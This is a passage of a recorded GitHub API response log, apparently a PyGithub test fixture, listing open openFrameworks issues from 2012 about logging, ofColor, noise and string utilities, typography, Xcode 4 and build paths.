output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"99258d32bcb6ade5b1153c8155fc2466"'), ('date', 'Tue, 29 May 2012 20:01:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3911629,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3911537,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3910580,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":3910555,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3910549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3897090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100},"id":3883598,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","id":1216228},"id":3856005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 